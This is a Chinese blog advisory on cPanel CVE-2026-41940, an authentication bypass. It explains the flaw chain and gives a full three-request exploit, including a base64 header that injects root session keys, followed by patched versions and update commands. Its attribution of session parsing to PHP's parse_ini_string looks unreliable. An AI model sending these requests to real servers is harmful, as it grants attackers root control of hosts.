cpanel存在安全漏洞,身份认证绕过漏洞可以获取服务器root权限

cpanel虚拟主机版面系统存在严重的安全漏洞,攻击者早在2026年2月23日就已经开始在利用这个漏洞获取服务器权限,比官方补丁发布早了整整66天。在这两个多月的时间里,全球数百万台运行cPanel的服务器完全暴露在攻击者的枪口之下,无数网站、数据库和用户数据面临被窃取和篡改的风险。

20260502152223695-QQ20260502-152128

 

漏洞基本信息
CVE编号:CVE-2026-41940
CVSSv3.1评分:9.8/10(严重)
漏洞类型:预认证远程身份认证绕过
攻击向量:网络
攻击复杂度:低
权限要求:无
用户交互:无
影响范围:机密性、完整性、可用性全部丧失
披露日期:2026年4月28日(官方发布紧急补丁)
公开日期:2026年4月29日
在野利用状态:已确认大规模在野利用
零日利用窗口:66天(2026年2月23日-2026年4月28日)
影响组件:cPanel & WHM(包括DNSOnly)、WP Squared(WordPress Squared)。

解决方法:更新到最新版本即可,同时检查服务器是否已经被入侵。

第一个缺陷:CRLF注入漏洞
cPanel的核心服务进程cpsrvd负责处理所有的HTTP和HTTPS请求,包括用户登录认证。当用户使用HTTP Basic认证方式登录时,cpsrvd会将用户提供的用户名和密码写入一个临时的预认证会话文件中。

问题在于,cpsrvd在处理密码字段时,完全绕过了本应执行的CR/LF字符清理函数filter_sessiondata()。这意味着,攻击者可以在密码字段中插入任意的换行符(\r\n),从而在会话文件中注入新的行。

例如,如果攻击者发送一个如下的HTTP Basic认证头:

Authorization: Basic dXNlcjphYmMNCnVzZXI9cm9vdA==

解码后得到的用户名是”user”,密码是”abc\r\nuser=root”。当cpsrvd将这个密码写入会话文件时,会生成如下内容:

user=user
pass=abc
user=root

这就导致会话文件中出现了两个”user”字段,为后续的攻击埋下了伏笔。

第二个缺陷:会话加密绕过
为了保护会话数据的安全性,cPanel设计了一套会话加密机制。会话文件中的敏感字段(如密码)本应使用会话cookie中的”ob”(对象)部分作为密钥进行AES-256加密。

然而,研究人员发现,如果攻击者发送一个缺少”ob”部分的截断cookie,cpsrvd不会抛出任何错误,而是会静默跳过加密步骤,将攻击者提供的密码明文直接写入磁盘。

这个缺陷使得攻击者能够完全控制写入会话文件的内容,而不需要担心加密会破坏他们注入的CRLF字符和恶意键值对。
第三个缺陷:会话缓存提升漏洞

cPanel采用了一种双文件会话模型来提高性能:

原始会话文件:位于/var/cpanel/sessions/raw/目录下,采用行导向的key=value格式
JSON缓存文件:位于/var/cpanel/sessions/cache/目录下,是原始会话文件的JSON序列化版本,用于快速加载
当用户请求因安全令牌检查失败时,cpsrvd的do_token_denied()处理程序会执行一个特殊的操作:它会强制重新解析原始会话文件(而不是使用现有的JSON缓存),并将解析结果重新写入JSON缓存文件。

问题在于,当解析原始会话文件时,如果存在多个相同的键,PHP的parse_ini_string()函数会保留最后一个出现的值。这意味着,攻击者通过CRLF注入的恶意键值对(如user=root、hasroot=1、tfa_verified=1)会覆盖原始的合法值,并被提升为顶级会话属性。

当do_token_denied()处理程序完成后,JSON缓存文件中就会包含攻击者注入的所有恶意属性。此时,攻击者只需要再次发送相同的会话cookie,系统就会将该会话视为一个完全认证的root用户会话。
完整攻击链演示;

下面是一个完整的攻击流程演示,攻击者只需要发送三个HTTP请求即可获得root权限:

发送恶意认证请求:

GET /login/ HTTP/1.1
Host: target.example.com:2083
Authorization: Basic dXNlcjphYmMNCnVzZXI9cm9vdA0KaGFzcm9vdD0xDQp0ZmFfdmVyaWZpZWQ9MQ==
Cookie: session=abcdef1234567890

这个请求会在原始会话文件中注入user=root、hasroot=1和tfa_verified=1三个键值对。

触发安全令牌拒绝:

GET /cpsess1234567890/ HTTP/1.1
Host: target.example.com:2083
Cookie: session=abcdef1234567890

这个请求会因为缺少有效的安全令牌而被拒绝,同时触发do_token_denied()处理程序,将恶意键值对提升到JSON缓存中。

获得root权限:

GET / HTTP/1.1
Host: target.example.com:2083
Cookie: session=abcdef1234567890

此时,系统会将攻击者的会话视为完全认证的root用户会话,攻击者可以执行任何操作。

整个攻击过程只需要几秒钟的时间,而且不需要任何有效的用户凭证。

注:以上只是用于漏洞分析,请勿以此方法攻击服务器获取权限。

受影响版本;
cPanel官方确认,所有cPanel & WHM版本11.40之后的版本均受此漏洞影响,包括已停止官方支持的旧版本。具体受影响的版本系列如下:

产品系列 受影响版本 修复版本 发布日期
cPanel & WHM 11.86.* < 11.86.0.41 11.86.0.41 2026-04-28
cPanel & WHM 11.110.* < 11.110.0.97 11.110.0.97 2026-04-28
cPanel & WHM 11.118.* < 11.118.0.63 11.118.0.63 2026-04-28
cPanel & WHM 11.126.* < 11.126.0.54 11.126.0.54 2026-04-28
cPanel & WHM 11.130.* < 11.130.0.18 11.130.0.18 2026-04-28
cPanel & WHM 11.132.* < 11.132.0.29 11.132.0.29 2026-04-28
cPanel & WHM 11.134.* < 11.134.0.20 11.134.0.20 2026-04-28
cPanel & WHM 11.136.* < 11.136.0.5 11.136.0.5 2026-04-28
WP Squared 11.136.* < 11.136.1.7 11.136.1.7 2026-04-28

用cPanel搭建服务器的朋友,请及时更新。

cPanel官方强烈建议所有用户立即应用补丁。如果您的服务器启用了自动更新,系统会在24小时内自动下载并安装补丁。如果您禁用了自动更新或固定到了特定版本,必须手动执行以下命令:

# 强制更新cPanel到最新版本
/scripts/upcp --force

# 验证补丁是否成功应用
/usr/local/cpanel/cpanel -V
/scripts/restartsrv_cpsrvd

 

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容